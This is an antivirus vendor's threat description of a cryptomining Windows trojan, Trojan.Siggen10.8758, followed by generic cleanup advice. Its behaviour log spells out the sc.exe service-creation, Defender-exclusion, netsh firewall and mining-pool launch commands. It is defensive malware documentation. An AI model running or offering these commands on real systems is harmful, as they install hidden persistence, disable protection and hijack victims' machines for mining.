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Trojan.Siggen10.8758

Aggiunto al database dei virus Dr.Web: 2020-08-25

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\dxlqkxn] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\dxlqkxn] 'ImagePath' = '%WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\dxlqkxn] 'ImagePath' = '%WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe'
Creates the following services
  • 'dxlqkxn' %WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe /d"<Full path to file>"
  • 'dxlqkxn' %WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\dxlqkxn' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\wytzsfp.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\wytzsfp.exe to %WINDIR%\syswow64\dxlqkxn\wytzsfp.exe
Deletes itself.
Network activity
TCP
  • '43.#31.4.7':443
UDP
  • DNS ASK mi##########m.mail.protection.outlook.com
  • DNS ASK 19#.###.211.95.in-addr.arpa
Miscellaneous
Creates and executes the following
  • '%WINDIR%\syswow64\dxlqkxn\wytzsfp.exe' /d"<Full path to file>"
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dxlqkxn\' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wytzsfp.exe" %WINDIR%\SysWOW64\dxlqkxn\' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' create dxlqkxn binPath= "%WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' description dxlqkxn "wifi internet conection"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' start dxlqkxn' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dxlqkxn\
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wytzsfp.exe" %WINDIR%\SysWOW64\dxlqkxn\
  • '%WINDIR%\syswow64\sc.exe' create dxlqkxn binPath= "%WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
  • '%WINDIR%\syswow64\sc.exe' description dxlqkxn "wifi internet conection"
  • '%WINDIR%\syswow64\sc.exe' start dxlqkxn
  • '%WINDIR%\syswow64\svchost.exe'
  • '%WINDIR%\syswow64\svchost.exe' -o msr.pool.gntl.co.uk:40005 -u 5qZ5atUw8pcCBWAXgMv6YiGMTeaVjFHoG2UAPWFKVFFsUvvWXKTTHPH5z97QVpSJW6jh98jzGzxpnR7XKbBjaYp94j4VRqx+60000 -p x -k

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android